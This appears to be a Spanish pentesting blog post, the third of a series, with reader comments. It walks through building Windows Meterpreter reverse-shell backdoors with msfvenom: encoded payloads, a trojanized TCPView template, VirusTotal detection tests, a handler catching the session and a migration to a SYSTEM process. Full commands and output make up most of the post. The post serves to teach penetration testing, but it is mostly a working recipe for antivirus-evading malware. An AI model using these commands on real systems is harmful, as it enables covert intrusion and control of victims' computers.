En la primera parte se hizo una introducción a los comandos de #Metasploit para la creación y manipulación de los PAYLOAD, realizando un ejemplo de utilización, en particular con el comando msfpayload.
Ya en la segunda entrega, se trabajo con el comando msfencode para aplicar técnicas de evasión de IDS/IPS/AV a un PAYLOAD determinado, el objetivo es conseguir un ejecutable para windows con el menor número de detecciones posible en virustotal.
Si recordáis, en los ejemplos propuestos en el artículo anterior, con msfencode, no se logró reducir el número de detecciones, siendo nuestro ejecutable (backdoor4.exe) detectado por la gran mayoría de los sistema de Antivirus, en el artículo de hoy, se va a generar un ejecutable utilizando msfvenom y veremos como facilita las cosas en el nuevo comando con respecto a los anteriores.
Ante de comenzar conviene recordar en que consiste el comando msfvenom. Es un comando que unifica msfpayload y msfencode en uno solo, mayor rapidez y facilidad de uso. Además de incluir la capacidad de introducir NOPS al ejecutable generado, proporcionando otra forma más en el intento de evitar ser detectado por el sistema antivirus.
Ejemplo 3:
Vamos a comenzar por el principio, puesto que el comando msfvenom unifica el PAYLOAD y las técnicas de ENCODING bajo uno solo.
>> Paso 1: La elección del PAYLOAD
En la segunda parte, ya empezamos a intuir que la elección del PAYLOAD es fundamental para evitar ser detectado, tanto o incluso más aún que la técnica de ofuscación del código que utilicemos, pues la detección heurística de los sistema antivirus enfatiza su detección en la carga (payload). Bueno dejemos de lado, la filosofía del funcionamiento de los antivirus para centrarnos en el artículo.
root@ST2Labs > msfvenom --list payloads
msfvenom --list payloads [Listar los payloads disponibles] |
Para ver que parámetros de configuración son necesarios para el PAYLOAD escogido (windows/meterpreter/reverse_ord_tcp), se ejecuta lo siguiente:
root@ST2Labs > msfvenom -p windows/meterpreter/reverse_ord_tcp -o
msfvenom -o [ Ver las opciones de configuración del payload] |
La elección del PAYLOAD (windows/meterpreter/reverse_ord_tcp) incluye la conexión inversa del tipo ORD, para generar un PAYLOAD con toda la funcionalidad de meterpreter con un menor tamaño, que nos ayude en nuestra tarea de evadir al Antivirus.
Llego el momento, ahora que tenemos el PAYLOAD, se va generar el fichero ejecutable con un sólo comando:
>> Paso 3: Generación del ejecutable (EXE)
En esta ocasión he decidido cambiar el nombre del archivo generado por p.exe, en el ejemplo veréis que voy por la prueba número seis, es decir p6.exe, las anteriores pruebas han sido probando con otros PAYLOAD y el resultado ha sido similar, por lo que no he creído interesante incluirlo en el artículo.
root@ST2Labs > msfvenom -p windows/meterpreter/reverse_ord_tcp -e x86/shikata_ga_nai -b '\x00\x20\x0a\x0d' -i 20 -f exe LHOST=192.168.2.105 > p6.exe
msfvenom [Generación de EXE con encoding x86/shikata_ga_nai] |
El resultado de virustotal es:
Análisis de virustotal.com |
¿Qué esta pasando? Parece que los motores de antivirus tienen identificado al PAYLOAD meterpreter generado por metasploit, a pasar de incluir la ofuscación polimórfica. Pero ¿esta todo perdido?
>> Paso 4: Utilización de template (EXE)
El template tomar como modelo en la generación la estructura de otro ejecutable no malicioso para la generación del ejecutable (EXE) final. Para este ejemplo utilizare el programa TCPview.exe.
El template tomar como modelo en la generación la estructura de otro ejecutable no malicioso para la generación del ejecutable (EXE) final. Para este ejemplo utilizare el programa TCPview.exe.
root@ST2Labs > msfvenom -p windows/meterpreter/reverse_ord_tcp -e x86/shikata_ga_nai -b '\x00\x20\x0a\x0d' -i 20 -f exe -x Tcpview.exe LHOST=192.168.2.105 > tcpviewmod.exe
Parece apropiado nombrar en esta ocasión al fichero como tcpviewmod.exe, lo subimos a virustotal y:
Análisis virustotal para PAYLOAD con template tcpview.exe |
Se empieza a intuir que la utilización del template nos ha ayudado, ha creado un ejecutable con una estructura similar al TCPview.exe, y ha funcionado, ¿significa esto que la efectividad de la evasión rádica en la estructura que genera el ejecutable? o ¿la capacidad de generar un ejecutable que no se parezca en nada a un ejecutable con payload meterpreter por defecto? La respuesta es ambas cosas, de ahí que se utilicen las técnicas de ofuscación (encoding).
>> Paso 5: Utilización del formato exe-small, generación de un ejecutable diferente al normal y/o por defecto.
Sin template: TCPview.exe
Opción_ exe-small
Nombre: tcpviewmod2.exe (simplmente para guardar relación con el paso 4)
root@ST2Labs > msfvenom -p windows/meterpreter/reverse_ord_tcp -e x86/shikata_ga_nai -b '\x00\x20\x0a\x0d' -i 20 -f exe-small LHOST=192.168.2.105 > tcpviewmod2.exe
Lo subimos a VirusTotal:
Análisis virustotal para PAYLOAD con generación exe-small. |
Acabamos de generar un ejecutable que es detectado por tan solo el 26% de los motores de antivirus, aquí se incluyen algunos como por ejemplo (TrendMicro / Symantec):
O Karpesky y Windows Defender (Microsoft), ver imagen siguiente:
Os invito a vosotros a realizar vuestras propias pruebas, por supuesto:
El contenido de este artículo es meramente informativo y/o con fines educativos, no me hago responsable del uso que de él se pueda hacer.
Sin embargo, por algún motivo que por el momento no he sido capaz de desenmascarar el ejecutable generado tcpviewmod2.exe con exe-small (~5Kbytes) no funciona correctamente ;(
Generando un EXE para las pruebas
Template: Tcpview.exe
Payload: windows/meterpreter/reverse_tcp
Creación nuevo hilo sobre el template= true
Encoding: x86/shikata_ga_nai
Restricción de caracteres= yes (\x00\x20\x0a\x0d)
root@ST2Labs > msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00\x20\x0a\x0d' -i 10 -f exe LHOST=192.168.2.105 LPORT=80 > tcpviewRmod80.exe
Resultados VT (virustotal) 28/45 (62%) | Principales motores de antivirus lo detectan correctamente, con la salvedad de TrendMicro puede comprobarse usando el siguiente hash || SHA256: 8bfb89a906540d8f553914c88f8db5102224e0be8064093e8617e845f4d4a528
>> Paso 6: Probando el funcionamiento de tcpviewRmod80.exe
Para finalizar el artículo y confirmar la utilidad de los ejemplos anteriores voy a mostrar que hay varias formas de gestionar la conexión del backdoor que se ha generado en el ejecutable, la primera sería utilizando la consola de comandos de #Metasploit, y configurando el exploit/multi/handler para nuestro menester.
O la segunda, más apropiado para el este caso, es utilizar el comando msfcli, nos permite interactuar en la línea de comandos de Linux con el framework de metasploit llegando al mismo fin , pero con menos comandos, veamos con un ejemplo:
Configuración de #Metasploit para gestionar la conexión inversa de Meterpreter, utilizando para ello MSFCLI.
root@ST2Labs > msfcli -h
msfcli -h [Muestra el menú de ayuda] |
Recordamos el escenario:
Se ejecuta tcpviewRmod80.exe en el Windows, y se obtiene una sesión de meterpreter, finalizando a sí nuestro objetivo.
Ejecución de tcpviewRmod80.exe |
Se puede ver en la imagen siguiente, como la consola de Metasploit, recibe una conexión al puerto 80, y se crea una sesión meterpreter con la victima.
Y para finalizar, aquellos que se hayan quedado con el gusanito de continuar y conseguir que el antivirus no detecte su "ejecutable" le recomiendo que lea detenidamente el siguiente artículo: "Facts and myths about antivirus evasion with Metasploit", seguro que no os defraudará.
msfcli [Metasploit server meterpreter] |
Nota: Al utilizarse Tcpview.exe como ejecutable y ser utilizado para cargar meterpreter en un hilo del mismo, meterpreter se esta ejecutando con el PID (el proceso tcpviewRmod80.exe), ahora podríamos usar migrate para mover meterpreter a otro proceso más estable. De esa forma, si el usuario cierra el programa tcpviewRmod80.exe meterpreter seguirá ejecutándose en el sistema.
>> Paso 7: Migrando meterpreter a un proceso más estable con privilegios SYSTEM
Comando ejecutados en la consola de "meterpreter" para llevar la migración del proceso meterpreter.
meterpreter > sysinfo
Computer : MNT_USER
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : es_ES
Meterpreter : x86/win32
meterpreter > getpid
Current pid: 120
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 4294967295
4 0 System x86 0
120 1576 tcpviewRmod80.exe x86 0 MNT_USER\admin C:\Intercambio documentos\tcpviewRmod80.exe
240 700 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Archivos de programa\VMware\VMware Tools\vmtoolsd.exe
568 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
632 568 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
656 568 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
700 656 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
712 656 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
780 700 alg.exe x86 0 C:\WINDOWS\System32\alg.exe
880 700 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Archivos de programa\VMware\VMware Tools\vmacthlp.exe
904 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1008 1576 notepad.exe x86 0 MNT_USER\admin C:\WINDOWS\system32\NOTEPAD.EXE
1012 700 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1084 1100 wscntfy.exe x86 0 MNT_USER\admin C:\WINDOWS\system32\wscntfy.exe
1100 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1156 700 wmiapsrv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiapsrv.exe
1188 700 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1272 700 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1328 1576 reverse_tcp_sin_encoding_p13.exe x86 0 MNT_USER\admin C:\Intercambio documentos\reverse_tcp_sin_encoding_p13.exe
1404 700 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1576 1548 explorer.exe x86 0 MNT_USER\admin C:\WINDOWS\Explorer.EXE
1644 1576 jusched.exe x86 0 MNT_USER\admin C:\Archivos de programa\Java\jre6\bin\jusched.exe
1672 1576 vmtoolsd.exe x86 0 MNT_USER\admin C:\Archivos de programa\VMware\VMware Tools\vmtoolsd.exe
1680 1576 ctfmon.exe x86 0 MNT_USER\admin C:\WINDOWS\system32\ctfmon.exe
1824 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1912 700 jqs.exe x86 0 NT AUTHORITY\SYSTEM C:\Archivos de programa\Java\jre6\bin\jqs.exe
2000 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
meterpreter > getuid
Server username: MNT_USER\admin
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 4294967295
4 0 System x86 0
120 1576 tcpviewRmod80.exe x86 0 MNT_USER\admin C:\Intercambio documentos\tcpviewRmod80.exe
240 700 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Archivos de programa\VMware\VMware Tools\vmtoolsd.exe
568 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
632 568 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
656 568 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
700 656 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
712 656 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
780 700 alg.exe x86 0 C:\WINDOWS\System32\alg.exe
880 700 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Archivos de programa\VMware\VMware Tools\vmacthlp.exe
904 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1008 1576 notepad.exe x86 0 MNT_USER\admin C:\WINDOWS\system32\NOTEPAD.EXE
1012 700 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1084 1100 wscntfy.exe x86 0 MNT_USER\admin C:\WINDOWS\system32\wscntfy.exe
1100 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1156 700 wmiapsrv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiapsrv.exe
1188 700 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1272 700 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1328 1576 reverse_tcp_sin_encoding_p13.exe x86 0 MNT_USER\admin C:\Intercambio documentos\reverse_tcp_sin_encoding_p13.exe
1404 700 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1576 1548 explorer.exe x86 0 MNT_USER\admin C:\WINDOWS\Explorer.EXE
1644 1576 jusched.exe x86 0 MNT_USER\admin C:\Archivos de programa\Java\jre6\bin\jusched.exe
1672 1576 vmtoolsd.exe x86 0 MNT_USER\admin C:\Archivos de programa\VMware\VMware Tools\vmtoolsd.exe
1680 1576 ctfmon.exe x86 0 MNT_USER\admin C:\WINDOWS\system32\ctfmon.exe
1824 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1912 700 jqs.exe x86 0 NT AUTHORITY\SYSTEM C:\Archivos de programa\Java\jre6\bin\jqs.exe
2000 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
meterpreter > migrate 2000
[*] Migrating from 120 to 2000...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Y para finalizar, aquellos que se hayan quedado con el gusanito de continuar y conseguir que el antivirus no detecte su "ejecutable" le recomiendo que lea detenidamente el siguiente artículo: "Facts and myths about antivirus evasion with Metasploit", seguro que no os defraudará.
>ST2Labs
#Pentesting #Rulez
genial...està buenisimo Julian y muy bien explicado para los que somos màs novatos...10 10 10....
ResponderEliminarMuchas gracias muy buenos los artículos!! excelente explicación..!
ResponderEliminarmuchas gracias por publicar estos ejercicios, !!!!!
ResponderEliminar